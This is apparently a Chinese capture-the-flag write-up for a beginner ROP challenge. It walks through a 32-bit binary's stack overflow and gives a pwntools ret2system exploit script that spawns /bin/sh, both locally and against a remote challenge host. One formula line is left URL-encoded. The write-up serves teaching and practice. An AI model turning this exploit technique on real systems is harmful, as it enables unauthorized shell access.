题目描述
菜鸡请教大神如何获得flag,大神告诉他‘使用面向返回的编程(ROP)就可以了’
Solution
拿到题目,先检查文件信息:
这是一个 ELF32 文件,没有金丝雀栈保护器,栈不可执行(NX),不是位置无关程序(No PIE)。运行程序,用户输入一串字符后,程序打印Hello World!
退出。我们将其放入 IDA 进行分析,观察main()
函数:
程序进入vulnerable_function()
后,执行system("echo 'Hello World!'");
。我们跟进到vulnerable_function()
:
该函数中,有一个大小为 136 的栈上缓冲区,但read()
从标准输入读取 256 个字节,这里存在缓冲区溢出的风险。我们按 Shift + F12 观察字符串:
我们发现.data section
存在字符串/bin/sh
。
那本题的思路就明朗了。ELF32 的函数调用是通过栈来传递参数的,vulnerable_function()
函数返回后,会压栈echo 'Hello World'
,在执行system()
。我们比较难通过栈溢出修改system()
的参数。
我们可以使用 ROP 技术,返回到.text
段,执行system()
函数,参数从.data
段获取。我们借助 Pwntools 可以方便的完成这些工作。使用 Pwntools 完成此类工作有一个公式
%20%2B%20system%5C_addr%20%2B%20return%5C_addr%20%2B%20shell%5C_addr%0A#card=math&code=payload%20%3D%5C%20%27A%27%20%2A%20%28offset%20%2B%204%29%20%2B%20system%5C_addr%20%2B%20return%5C_addr%20%2B%20shell%5C_addr%0A&id=OVNNR)
根据这个公式,我们的offset
是0x88
,我们只是为了取得 Shell,return_addr
就随便一个值,我们要找到system_addr
:
from pwn import *
sys_addr = elf.symbols['system']
对于shell_addr
,使用 ROPgadget:
$ ROPgadget --binary ./002 --string '/bin/sh'
Strings information
============================================================
0x0804a024 : /bin/sh
编写漏洞利用脚本
from pwn import *
conn = process('./002')
elf = ELF('./002')
sys_addr = elf.symbols['system']
sh_addr = 0x0804a024
payload = b'A' * (0x88 + 4) + p32(sys_addr) + \
p32(4) + p32(sh_addr)
conn.sendlineafter('Input:', payload)
conn.interactive()
本地测试的效果如下:
回到题目,修改我们之前写的漏洞利用脚本:
from pwn import *
#conn = process('./002')
conn = remote("111.200.241.244", 60388)
elf = ELF('./002')
sys_addr = elf.symbols['system']
sh_addr = 0x0804a024
payload = b'A' * (0x88 + 4) + p32(sys_addr) + \
p32(4) + p32(sh_addr)
conn.sendlineafter('Input:', payload)
conn.interactive()
打开实例: